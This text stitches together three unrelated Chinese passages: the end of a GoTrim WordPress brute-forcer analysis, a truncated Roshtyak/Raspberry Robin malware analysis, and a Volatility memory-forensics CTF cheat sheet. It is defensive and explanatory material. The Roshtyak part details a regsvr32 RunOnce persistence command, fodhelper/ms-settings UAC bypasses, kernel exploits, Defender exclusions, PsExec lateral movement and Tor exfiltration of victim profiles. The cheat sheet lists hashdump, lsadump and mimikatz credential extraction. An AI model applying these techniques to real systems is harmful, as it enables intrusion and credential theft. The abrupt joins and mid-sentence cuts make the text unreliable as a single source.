成功登錄後，全局狀態消息將更新為針對WordPress的攻擊狀態。 反木馬檢查GoTrim可以檢測到網絡託管提供商和CDN(如Cloudflare和SiteGround)使用的反木馬技術，並規避一些更簡單的檢查。 它試圖通過使用瀏覽器發送的相同HTTP標頭並支持相同的內容編碼算法(gzip、deflate和Brotli)來模擬來自64位Windows上Mozilla Firefox的合法請求。 對於WordPress網站，它還會檢測是否安裝了CAPTCHA插件。 Google reCAPTCHA； BestWebSoft的reCAPTCHA； WP限制登錄嘗試； 屏蔽安全Captcha； All in One Security (AIOS)Captcha； JetPackCaptcha； BestWebSoft的Captcha； 該惡意軟件包含用於解決某些插件的CAPTCHA的代碼。然而，我們需要驗證繞過技術是否有效。我們確定它無法繞過Google、WP限制登錄嘗試和Shield Security的CAPTCHA。 一般來說，對於它無法繞過的安全插件，它只通過使用與成功登錄期間發送的數據類似的信息更新全局狀態消息來向C2服務器報告它們。但它使用“3GOOD”表示攻擊狀態，以指示跳過憑據驗證。 在遇到網頁內容中包含字符串“1gb.ru”的網站時，GoTrim也會發送相同的“3GOOD”攻擊破解狀態。這似乎是一個有意識的決定，以避免針對該提供商託管的網站，但意圖尚不清楚。 活動更新在搜索與此活動相關的其他示例時，我們發現了一個來自2022年9月的PHP腳本和二進製文件，其中包含C2 server 89[.]208[.]107[.]12上不同的URLs “/selects?param=1”和“/selects?walert=1”，我們檢測的PHP腳本PHP/GoTrim!tr.dldr使用相同的安裝方法，只是下載URL在我們收集的示例中有所不同。 來自2022年9月版本的不同C2服務器的代碼片段 2022年11月出現的二進製版本也更新了其HTTP POST URL。信標請求URL“/selects？dram=1”和命令請求URL“/celects？bilert=1”已分別更改為“/route？index=1”和“/routh？alert=1”。數據傳輸中使用的加密算法和密鑰保持不變。 Wireshark從兩個版本的GoTrim捕獲POST請求 總結雖然這個惡意軟件仍在開發中，但它擁有功能完備的WordPress攻擊程序，再加上它的反木馬規避技術，這使得它成為一個值得關注的威脅，特別是隨著WordPress CMS的巨大普及，這個惡意軟件的威脅不容小覷。為了降低這種風險，網站管理員應確保用戶帳戶(特別是管理員帳戶)使用強密碼。另外，保持CMS軟件和相關插件是最新的，因為攻擊者還可以通過利用未修補的漏洞來發起攻擊。

變量隱藏一些變量不是以明文形式存儲的，而是使用一個或多個算術指令隱藏起來的。這意味著如果Roshtyak 沒有主動使用變量，它將以混淆的形式保留該變量的值。每當Roshtyak需要使用該變量時，它必須在使用它之前先解開它的掩碼。相反，在Roshtyak使用該變量後，它會將其轉換回掩碼形式。這種隱藏方法使調試期間跟踪變量的工作變得複雜，並使搜索內存中已知變量值變得更加困難。 循環變換Roshtyak 在一些循環條件下很有創意。它沒有像for (int i=0; i 1690; i++) 那樣編寫循環，而是將循環轉換為for (int32_t i=0x06AB91EE;我!=0 x70826068;i=i * -0x509FFFF +0xEC891BB1)。雖然兩個循環都將執行1690 次，但第二個循環要難得多。乍一看，不清楚第二個循環執行了多少次迭代，甚至不知道它是否會終止。在第二種情況下，在調試期間跟踪循環迭代的次數也要困難得多。 包裝如上所述，Roshtyak 的核心隱藏在多層包裝之後。雖然所有的層看起來都像是最初編譯到PE文件中，但除了嚴格必要的數據（入口點、節、導入和重定位）之外的所有數據都被剝離了。此外，Roshtyak 支持兩種自定義格式來存儲剝離的PE 文件信息，各層輪流使用對應的格式。此外，段自定義格式是加密的，有時使用基於各種反分析檢查結果生成的密鑰。 這使得將Roshtyak 的層靜態解壓到一個獨立的PE 文件中變得很困難。首先，必須對自定義格式進行逆向工程，並弄清楚如何解密加密段。然後，必須重構PE 標頭、段、段標題和導入表（重定位表不需要重構，因為重定位可以被關閉）。雖然這一切都是完全可行的，並且可以使用像LIEF 這樣的庫來簡化，但這可能需要大量的時間。除此之外，這些層有時是相互依賴的，在內存中動態分析Roshtyak 可能更容易。 其中一個自定義PE 類文件格式的段標題：raw_size 對應於SizeOfRawData，raw_size + virtual_padding_size 實際上是VirtualSize。沒有VirtualAddress 或PointerToRawData 等效項，因為這些段是按順序加載的。 其他混淆技巧除了上述技巧之外，Roshtyak 還使用其他混淆技巧，包括： 垃圾指令插入； 導入哈希； 頻繁清除內存； 混合佈爾算術混淆； 冗餘線程； 重多態性； 核心功能既然我們已經描述了Roshtyak 如何保護自己，那麼看看它的實際作用可能會很有趣。 Roshtyak 的DLL 相對較大，超過1 兆字節，但是一旦消除了所有的混淆，它的功能就非常簡單。它的主要目的是下載更多的有效載荷來執行。此外，它還執行通常的惡意軟件操作，即建立持久性、提升權限、橫向移動和洩露有關受害者的信息。 持久性攻擊Roshtyak 首先在%SystemRoot%\Temp 中生成一個隨機文件名，並將其DLL 映像移動到那裡。生成的文件名由2到8個隨機小寫字符與從硬編碼列表中選擇的隨機擴展名組成。用於生成此文件名的PRNG的捲序列號為C:\。我們分析的示例是硬編碼的7個擴展名（.log、tmp、loc、dmp、out、ttf 和.etl）。我們觀察到其他示例中使用了其他擴展，這表明這個列表是動態的。 Roshtyak 也很有可能會使用隨機生成的擴展。一旦完全構建，到Roshtyak DLL的完整路徑可能看起來如C:\Windows\Temp\wcdp.etl這樣。 將DLL 映像移動到新的文件系統路徑後，Roshtyak 將其修改後的時間戳記到當前系統時間。然後它繼續設置RunOnce(Ex) 註冊表項，以實際建立持久性。註冊表項是使用前面描述的間接註冊表寫入技巧創建的。插入密鑰的命令可能如下所示： RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Windows\Temp\wcdp.etl.' 這裡有幾點需要注意。首先，regsvr32 不關心它加載的DLL 的擴展名，從而允許Roshtyak 隱藏在.log 等看似無害的擴展名下。其次，/s 參數將regsvr32 置於靜默模式。如果沒有它，regsvr32將抱怨找不到名為DllUnregisterServer的導出。最後，請注意路徑末尾的句號字符。該句號在路徑規範化期間被釋放，因此它實際上對命令沒有影響。所以，我們不確定開發者的初衷是什麼。它看起來像是被設計用來欺騙一些反惡意軟件，使其無法將持久性條目與文件系統上的有效負載連接起來。 默認情況下，Roshtyak 使用HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 項進行持久化。但是，在某些情況下（例如，當它通過檢查名為avp.exe 的進程檢測到Kaspersky 正在運行時）將使用密鑰HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。 RunOnceEx 項能夠加載DLL，因此在使用該項時，Roshtyak 直接指定shell32.dll，省略了rundll32的使用。 Roshtyak 建立的RunOnceEx 持久性條目 權限提升Roshtyak 使用UAC 繞過和常規EoP 漏洞來嘗試提升其權限，與許多其他惡意軟件只是盲目地執行開發者可以找到的任何UAC 繞過/利用的惡意軟件不同，Roshtyak 努力確定權限提升方法是否有可能成功。由於不必要地使用了不兼容的繞過/漏洞，這可能是為了降低檢測的機會。對於UAC 繞過，這涉及檢查ConsentPromptBehaviorAdmin 和ConsentPromptBehaviorUser 註冊表項。對於EoP 漏洞利用，這是關於檢查Windows 內部版本號和補丁級別。 除了檢查ConsentPromptBehavior(Admin|User) 項之外，Roshtyak 還執行其他健全性檢查以確保它應該繼續繞過UAC。即，它使用SID S-1-5-32-544 (DOMAIN_ALIAS_RID_ADMINS) 的CheckTokenMembership 檢查管理員權限。它還檢查KUSER_SHARED_DATA.SharedDataFlags 中DbgElevationEnabled 標誌的值。這是一個未記錄的標誌，在啟用UAC 時設置。最後，還有針對BitDefender（由模塊atcuf32.dll 檢測）、卡巴斯基（進程avp.exe）和我們自己的Avast/AVG（模塊aswhook.dll）的殺毒軟件檢查。如果檢測到這些殺毒軟件，Roshtyak 會避開選定的UAC 繞過技巧，大概是那些可能導致被檢測到。 至於實際的UAC旁路，主要有兩種實現方法。第一個是UACMe 中恰當命名的ucmDccwCOM 方法的實現。有趣的是，當執行此方法時，Roshtyak 通過覆蓋對應於主可執行模塊的_LDR_MODULE 結構中的FullDllName 和BaseDllName 臨時將其進程偽裝成explorer.exe。此方法啟動的有效負載是一個隨機命名的LNK 文件，使用IShellLink COM 接口放入%TEMP%。此LNK 文件旨在通過LOLBins（例如advpack 或register-cimprovider）重新啟動Roshtyak DLL。 第二種方法更像是一個UAC 繞過框架而不是特定的繞過方法，因為多個UAC 繞過方法遵循相同的簡單模式：首先註冊一些特定的shell 打開命令，然後執行自動提升的Windows 二進製文件（內部觸發shell 打開命令）。例如，可以通過向HKCU\Software\Classes\ms-settings\shell\open\command 寫入有效負載命令，然後從%windir%\system32 執行fodhelper.exe 來完成UAC 繞過。基本上，同樣的繞過可以通過用其他對替換ms-settings/fodhelper.exe來實現，例如mscfile/eventvwr.exe。 Roshtyak使用以下6對來繞過UAC： 現在讓我們看看Roshtyak 用於提升權限的內核漏洞（CVE-2020-1054 和CVE-2021-1732）。與Roshtyak 中的常見情況一樣，這些漏洞被加密存儲，並且僅在需要時才解密。有趣的是，一旦解密，漏洞利用結果是具有完全有效標頭的常規PE 文件，與Roshtyak 中的其他層不同，它們要么以shellcode 形式存在，要么以自定義剝離的PE 格式存儲。此外，這些漏洞不像Roshtyak的其他漏洞那樣容易混淆，所以它們的代碼可以立即反編譯，而且只使用了一些基本的字符串加密。我們不知道為什麼攻擊者讓這些漏洞如此暴露，但這可能是由於位數的不同。雖然Roshtyak 本身是x86 代碼（大段時間在WoW64 下運行），但漏洞利用是x64，考慮到它們利用64 位代碼中的漏洞，這是有道理的。可能Roshtyak 的開發者使用的混淆工具是為x86 設計的，不能移植到x64。 Roshtyak利用CVE-2020-1054的代碼片段，掃描IsMenu找到HMValidateHandle的偏移量 為了執行漏洞，Roshtyak 生成（AMD64 版本）winver.exe 並使用KernelCallbackTable 注入方法獲取漏洞代碼以在其中運行。 Roshtyak的這種注入方法的實現基本上與公共PoC相匹配，最大的區別是由於需要跨子系統注入而使用了略微不同的API函數(例如NtWow64QueryInformationProcess64而不是NtQueryInformationProcess或NtWow64ReadVirtualMemory64而不是ReadProcessMemory)。注入winver.exe的代碼不是利用PE本身，而是稍微混淆的shellcode，旨在將漏洞利用PE 加載到內存中。 內核漏洞針對某些未打補丁的Windows 版本。具體來說，CVE-2020-1054 僅用於版本號不高於24552 的Windows 7 系統。另一方面，CVE-2021-1732 的漏洞利用在Windows 10 上運行，目標內部版本號範圍為16353 到19042。在利用CVE-2021-1732之前，Roshtyak還會掃描已安裝的更新包，以查看是否安裝了針對該漏洞的補丁。它通過枚舉HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based services \Packages下面的註冊表項，並檢查KB4601319(或更高)的包是否存在。 橫向運動在橫向移動方面，Roshtyak 只使用久經考驗的PsExec 工具。在執行PsExec 之前，Roshtyak 通過檢查與“眾所周知的”WinAccountDomainAdminsSid 組匹配的SID 來確保運行它是有意義的。如果未檢測到域管理員權限，Roshtyak 將完全跳過其橫向移動階段。 Roshtyak 試圖通過設置Defender 排除項來繞過檢測，因為PsExec 通常被標記為黑客工具（有充分的理由）。它為%TEMP% 設置一個路徑排除（它將釋放PsExec 和其他用於橫向移動的文件）。稍後，它會為執行PsExec 的確切路徑設置一個進程排除。 雖然我們希望PsExec被捆綁到Roshtyak中，但結果是Roshtyak從https://download.sysinternals[.]com/files/PSTools.zip按需下載PsExec。下載的zip歸檔文件被放入%TEMP%中，後綴名為.zip。然後使用Windows Shell COM接口(IShellDispatch)將PsExec從這個歸檔文件解壓縮到%TEMP%中隨機命名的.exe文件中。 PsExec 執行的有效負載是一個自解壓包，由名為IExpress 的工具創建。這是一個古老的安裝程序，它是Windows 的一部分，這可能就是使用它的原因，因為Roshtyak 可以依賴它已經在受害者設備上。安裝程序生成由使用自解壓指令(SED) 語法的文本文件配置。 Roshtyak 的IExpress 配置模板 Roshtyak 使用具有三個佔位符（%1、%2 和%3）的SED 配置模板，它在運行時將其替換為實際值。如上所示，配置模板是混合大小寫編寫的，通常在Raspberry Robin 中經常使用。準備好SED配置後，它就會被寫入%TEMP% 中隨機命名的.txt 文件。然後，調用iexpress 以使用C:\Windows\iexpress.exe /n /q 生成有效負載後，Roshtyak就開始實際運行PsExec。 Roshtyak 可以通過兩種方式執行PsExec。第一個使用命令 分析受害者USB 蠕蟲往往有自己的活動。由於它們的蠕蟲行為通常是完全自動化的，因此最初部署蠕蟲的攻擊者不一定完全控制它的傳播位置。這就是為什麼攻擊者將蠕蟲信標返回到他們的CC 服務器很重要的原因。有了信標機制，攻擊者就可以獲知他們控制的所有機器的信息，並可以利用這些信息對蠕蟲進行管理。 發出的信標郵件通常包含有關受感染計算機的一些信息。這有助於有經濟動機的攻擊者決定如何利用攻擊獲利。 Roshtyak 也不例外，它收集了有關每個受感染受害者的大量信息。 Roshtyak 將所有收集到的信息連接成一個大字符串，使用分號作為分隔符。這個大字符串然後被轉移到Roshtyak的CC服務器上。下面按順序列出了過濾出來的信息。 外部IP 地址（在Tor 連接檢查期間獲得）; 一個硬編碼到Roshtyak 代碼中的字符串，例如AFF123（我們無法確定這背後的含義，但它看起來像一個附屬ID）; DLL 的PE 標頭的16 位哈希（一些字段清零）與其TimeDateStamp 的低16 位異或。 TimeDateStamp 似乎是經過特殊設計的，因此異或會產生一個已知值。這可以作為篡改檢查或水印的功能； 系統驅動器上System Volume Information 文件夾的創建時間戳； 系統驅動器的捲序列號； 處理器計數(GetActiveProcessorCount)； IsWow64Process (_PROCESS_EXTENDED_BASIC_INFORMATION.Flags 2)； Windows 版本(KUSER_SHARED_DATA.Nt(Major|Minor)Version)； Windows 產品類型(KUSER_SHARED_DATA.NtProductType)； Windows 構建號(PEB.OSBuildNumber)； 本地管理權限（ZwQueryInformationToken(TokenGroups)/CheckTokenMembership，檢查DOMAIN_ALIAS_RID_ADMINS）； 域管理權限（檢查WinAccountDomainAdminsSid/WinAccountDomainUsersSid）； 系統時間(KUSER_SHARED_DATA.SystemTime)； 時區(KUSER_SHARED_DATA.TimeZoneBias)； 系統區域設置(NtQueryDefaultLocale(0))； 用戶區域設置(NtQueryDefaultLocale(1))； 環境變量（username, computername, userdomain, userdnsdomain和logonserver）； Java 版本(GetFileVersionInfo('javaw.exe') - VerQueryValue)； 處理器信息（獲取處理器品牌字符串的cpuid）； 主可執行模塊的映像路徑(NtQueryVirtualMemory(MemorySectionName))； 主物理驅動器的產品ID 和序列號(DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty))； 默認網關的MAC 地址（GetBestRoute - GetIpNetTable）； 所有網絡適配器的MAC 地址(GetAdaptersInfo)； 安裝的防病毒軟件（root\securitycenter2 - SELECT * FROM AntiVirusProduct）； 顯示設備信息（DeviceId、DeviceString、dmPelsWidth、dmPelsHeight、dmDisplayFrequency）（EnumDisplayDevices - EnumDisplaySettings）； 活動進程(NtQuerySystemInformation(SystemProcessInformation))； 以base64 編碼的屏幕截圖（gdi32 方法）； 信標收集過程完成後，Roshtyak將受害者的資料發送到CC服務器。配置文件通過Tor 網絡發送，使用Roshtyak 注入新生成的進程的自定義通信模塊。 CC 服務器處理洩露的配置文件，並可能使用shellcode 有效負載進行響應，以供核心模塊執行。 現在讓我們仔細看看這整個過程。值得一提的是，在生成任何惡意流量之前，Roshtyak 首先會執行Tor 連接檢查。這是通過以隨機順序聯繫28 個合法且知名的.onion 地址並檢查其中至少一個是否響應來完成的。如果他們都沒有回應，Roshtyak甚至不會嘗試聯繫CC，因為它很有可能無法與CC取得聯繫。 至於實際的CC 通信，Roshtyak 包含35 個硬編碼的V2 洋蔥地址（例如ip2djbz3xidmkmkw:53148，請參閱我們的IoC 存儲庫以獲取完整列表）。就像在連接檢查期間一樣，Roshtyak 以隨機順序遍歷它們並嘗試聯繫它們中的每一個，直到其中一個做出響應。請注意，雖然V2 洋蔥地址已被正式棄用，取而代之的是V3 地址，並且Tor 瀏覽器在其最新版本中不再支持它們，但對於Roshtyak的邪惡目的而言，它們的功能似乎仍然足夠。 Roshtyak 的硬編碼CC 地址 受害者配置文件以URL路徑發送，附加在V2洋蔥地址和/字符之後。由於原始概要文件可能包含禁止在url中使用的字符，因此概要文件被封裝在自定義結構中，並使用Base64進行編碼。自定義結構的第一個0x10字節作為加密密鑰，其餘的結構將被加密。自定義結構還包含受害者概要文件的64位哈希，它可能用作完整性檢查。有趣的是，自定義結構的尾部可能填充了隨機字節。注意，完整的路徑可能非常大，因為它包含一個雙base64編碼的截圖。 Roshtyak的開發者可能意識到URL路徑不適合發送大量數據，並決定將受害者配置文件的長度限制在0x20000字節。如果屏幕截圖使洩露的配置文件大於此限制，則不包括在內。 構建完整的洋蔥URL 後，Roshtyak 繼續啟動其Tor 通信模塊。它首先生成一個虛擬進程來託管comms 模塊。這個虛擬進程是隨機選擇的，可以是dllhost.exe、regsvr32.exe 或rundll32.exe 之一。 comms 模塊使用共享段注入到新生成的進程中，並通過前面描述的shellcode 隱藏技巧進行了混淆。然後通過NtQueueApcThreadEx 執行comms 模塊，使用已經討論過的ntdll gadget技巧。注入的comms 模塊是一個開源Tor 庫的自定義構建，包含在三個額外的保護性shellcode 層中。 核心模塊使用共享段作為IPC 機制與comms 模塊進行通信。兩個模塊同步使用具有相同種子(KUSER_SHARED_DATA.Cookie) 的相同PRNG 來生成相同的段名稱。然後，兩者都將此命名段映射到各自的地址空間，並通過讀取/寫入來相互通信。讀取/寫入該段的數據使用RC4 加密（密鑰也使用同步的PRNG 生成）。 核心模塊和通信模塊之間的通信遵循簡單的請求/響應模式。核心模塊將加密的洋蔥URL（包括要洩露的URL 路徑）寫入共享段。 comms 模塊然後解密URL 並通過Tor 向它發出HTTP 請求。核心模塊等待comms 模塊將加密的HTTP 響應寫回共享段。一旦它在那裡，核心模塊將其解密並從自定義格式解包，包括再次解密併計算哈希以檢查有效負載的完整性。解密後的有效載荷可能包含一個供核心模塊執行的shellcode。如果shellcode 存在，核心模塊分配一大塊內存，

一、环境安装 1.kali下安装Volatility2 注意：一般Volatility2比Volatility3好用 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2 get-pip.py python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow #PIL图形处理库 apt-get install pcregrep python2-dev #插件安装依赖库 python2 -m pip install distorm3 #反编译库 python2 -m pip install openpyxl #读写excel文件 python2 -m pip install ujson #JSON解析 python2 -m pip uninstall yara #恶意软件分类工具 python2 -m pip install pycrypto #加密工具集 python2 -m pip install construct #mimikatz依赖库 # 在 https://github.com/virustotal/yara/releases 下载 YARA 压缩包 tar -zxf yara-4.4.0.tar.gz cd yara-4.4.0 sudo apt-get install automake libtool make gcc pkg-config sudo apt-get install flex bison libssl-dev ./bootstrap.sh ./configure make sudo make install sudo sh -c 'echo "/usr/local/lib" >> /etc/ld.so.conf' sudo ldconfig yara -h git https://github.com/volatilityfoundation/volatility.git cd volatility python2 setup.py install 2.windows下安装 https://www.volatilityfoundation.org/releases 二、常用命令使用 1. 查看内存镜像系统信息 volatility.exe -f worldskills3.vmem imageinfo 2.查看当前内存镜像注册表中用户名 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names" 3.使用hashdump命令获取sam hash值 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hashdump 4.使用lasdump命令查看密码明文 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 lsadump 5.查看网络连接状态信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 netscan 同时也可以查看到当前系统中存在挖矿进程，获取指向的矿池地址 6.查看当前系统主机名 主机名通过注册表查询，需先用hivelist（也可以查看内存镜像中的虚拟地址）查询 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hivelist 查看键名 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001" volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control " volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName" volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName\ComputerName" 也可以直接通过 hivedump查询相应的键名， 但是查询非常费时间 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hivedump -o 0xfffff8a000024010 > system.txt 7.获取当前系统IE浏览器存储的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 iehistory 8.查询系统服务名称 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 svcscan 9.从内存文件中找到异常程序植入到系统的开机自启痕迹 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 shimcache 10.查看父进程与子进程 注意：在进程中PPID比PID大，那就可能这个进程有异常程序 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pstree 11.查看程序版本信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 verinfo 12.通过 pslist命令查询进程 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pslist 注意：可列举出系统进程，但它不能检测到隐藏或者解链的进程 也能进一步查到子进程的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pslist -p 2588 13.查看隐藏或解链的进程 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 psscan 或者 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 psxview 注意：可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 14.显示cmd历史命令记录 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 cmdscan 或者 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 consoles #能看到指令的输入和输出 15.查看进程命令行参数 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 cmdline 16.扫描内存系统中的所有文件列表 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 filescan 在linux系统中可使用filescan命令参数配合gerp命令进行搜索关键字 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep "flag" python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan | grep -E 'jpg|png|jpeg|bmp|gif' 搜索图片或者text python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep -E 'txt' python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep -E 'jpg' 导出flag.txt文件 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007f1b6c10 -D ./ dump 出来的进程文件，建议使用 foremost 来分离里面的文件 17.查看文件内容（需要 filescan配合命令查询） volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./ 注意：需要指定偏移量 -Q 和输出目录 -D，dumpfiles：导出某一文件，指定虚拟地址 18.查看当前展示的notepad内容（win7不支持该命令） volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 notepad 19.显示有关编辑控件（曾经编辑过的内容）的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 editbox 20.提取进程内容（需要pslist命令配合查询使用） volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 memdump -p 2588 --dump-dir=./ 注意：memdump：提取出指定进程，常用foremost 来分离里面的文件 ，需要指定进程-p [pid] 和输出目录 -D 提取出来的直接用strings是无法查看,需要添加-e参数 strings -e l 2626.dmp | grep flag 21.屏幕截图 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 screenshot --dump-dir=./ 注意：需要安装PIL库，建议linux下运行 22.查看运行程序相关记录，比如最后一次更新时间，运行过的次数等 提取出内存中记录的,当时正在运行的程序有哪些，运行过多少次，最后一次运行的时间等信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 userassist 23.最大程度上将内存中的信息提取出来 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 timeliner 注意:将所有操作系统事件以时间线的方式展开 24.查看剪贴板信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 clipboard 25.显示关于计算机及其操作系统的详细配置信息（需要安装插件） volatility -f 1.vmem --profile=Win7SP1x64 systeminfo26.查看访问时间 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 mftparser 27.查看环境变量 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 envars volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 envars | grep "Password" 28.列出某一进程加载的所有dll文件 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dlllist volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dlllist -p 2588 29.获取最后登录系统的账户 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"30.显示进程权限 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 privs31.导出注册表 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dumpregistry --dump-dir=./ 32.获取明文密码，直接爆破出用户密码(linxu) python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mimikatz 33.查看SID python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 getsids 34.获取TrueCrypt密码信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 truecryptpassphrase 35.获取TrueCrypt秘钥信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 truecryptmaster 36.解析MFT记录、导出MFT记录 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mftparser python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mftparser --output-file=mftverbose.txt -D ./ 37.寻找可能注入到各种进程中的恶意软件 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x6 malfind 38.usb连接信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 usbstor 三、插件安装 下载地址： https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins https://github.com/superponible/volatility-plugins 下载之后，将 .py 插件放进volatility 的 plugins 文件夹目录下（/volatility-master/volatility/plugins） lastpass.py Chrome 记录的登录密码 usbstor.py 扫描注册表查找插入系统的 USB 设备 chromehistory.py 谷歌浏览器历史记录 firefoxhistory.py 火狐浏览器历史记录 system_info.py systeminfo sqlite_help.py 上面两个插件的必须文 四、CTF中内存取证题目类型 类型1：隐藏图片 1.查看可疑进程（pslist） 2 导出进程文件 3.使用查看文件内容，确认文件类型(file *.dmp) 4.一般图片文件使用foremost 分离 ( foremost *.dmg) 5.如果分离出来是镜像文件.img损坏（testdisk *.img进行修复） 类型2：剪切板 1.搜索关于flag的文件（filescan | grep flag） 2.搜索IE浏览器历史记录，查看访问了什么网站（iehistory | grep 'https://'） 3.查看编辑器中有什么，和文档有关的取证（editbox或者notepad） 4.查看剪切板复制中有什么记录，mspaint对应进程的内容（memdump -p PID值 --dump-dir=./） 类型3：TrueCrypt加密 1.导出TrueCrypt对应进程的内容（memdump -p PID值 --dump-dir=./） 2.使用Elcomsoft Forensic Disk Decryptor对导出的进程进行还原内容 3.用VeraCrypt挂载查看还原的内容 类型4：传输压缩包 1.查看使用过得命令（cmdscan） 2.搜索关键字（filescan | grep 'P@ss'） 4.dump出压缩包内存文件（dumpfiles -Q 0x0000000002c61318 -D ./） 类型5：用户密码 1.hashdump导出密码hash值 2.使用jone或者在线工具对其进行NTML值破解 https://crackstation.net/ 3.或者使用mimikatz插件进行明文读取用户的密码 类型6：IE浏览器中保存的文件 1.获取IE浏览器历史记录（iehistoy) 2.过滤IE浏览器中的关键字（iehistory | grep jpg或者hint) 3.dump出对应的jpg和hint内存文件（dumpfiles -Q 0x0000000002c61318 -D ./） 类型7：查看主机名和IP 1.主机名（systeminfo插件或者注册表查找对应的键名） 2.ip(netscan) 类型8：剪切板内容 1.获取剪切板内容（clipboard插件） 类型9：隐藏了flag 1.搜索flag.txt文件（filescan | grep flag) 2.导出flag.txt内存文件(dumpfiles -Q 0x0000000002c61318 -D ./） 类型10：隐藏的加密的AES 1.查看可疑程序进程（查看ppid和pid值对比以及时间不一样可判断出可疑进程也还可以用chatget来判断） 2.查找曾经使用过的命令（cmdscan) 3.分别导出子进程和父进程的内存内容分析（memdump -p PID值 --dump-dir=./） 4.找到KEY和IE值，是AES加密 类型11：encryto加密 1.查看可疑进程（pslist） 2.查看历史命令，.查看到加密的历史文件（cmdscan) 3.导出加密的历史可疑文件（dumpfiles -Q 0x000000003e435890 --dump-dir=./**） 4.使用encryto进行解密 类型12：匿名用户登录 1.查看可疑进程,这里是注册表的进程有可疑（pslist) 2.dump出注册表的进程内容（memdump -p 804 --dump-dir=./） 3.查看DUMP出注册表内存关键字sam (strings -e l -d 804.dmp|grep "SAM" ），发现有可疑的用户名 4.检索注册表中的该用户 printkey -K "SAM\Domains\Account\Users\00000493" 5.hashdum出对应账号的用户名的密码（hashdump|grep "FHREhpe"） 类型13：rootkiet.exe木马 1.查看可疑进程（pslist） 一般rootkit恶意程序与svchost进行捆绑并注入到svchost.exe中，需要进入安全电脑模式才能清理 2.-查找进程注入引用的文件(-p 880 handles -t file) 3进程在运行过程中被注入的DLL文件（ldrmodules -p 880 | grep -i false） 4.个注入的dll文件的内存地址（malfind -p 880） dlldump -p 880 --base=0x980000 --dump-dir=. volatility命令练习的内存镜像： 链接: https://pan.baidu.com/s/1LXSJ_RL9yotb8IKbzIQZ3g 提取码: syny 参考文章： https://blog.csdn.net/m0_68012373/article/details/129038773

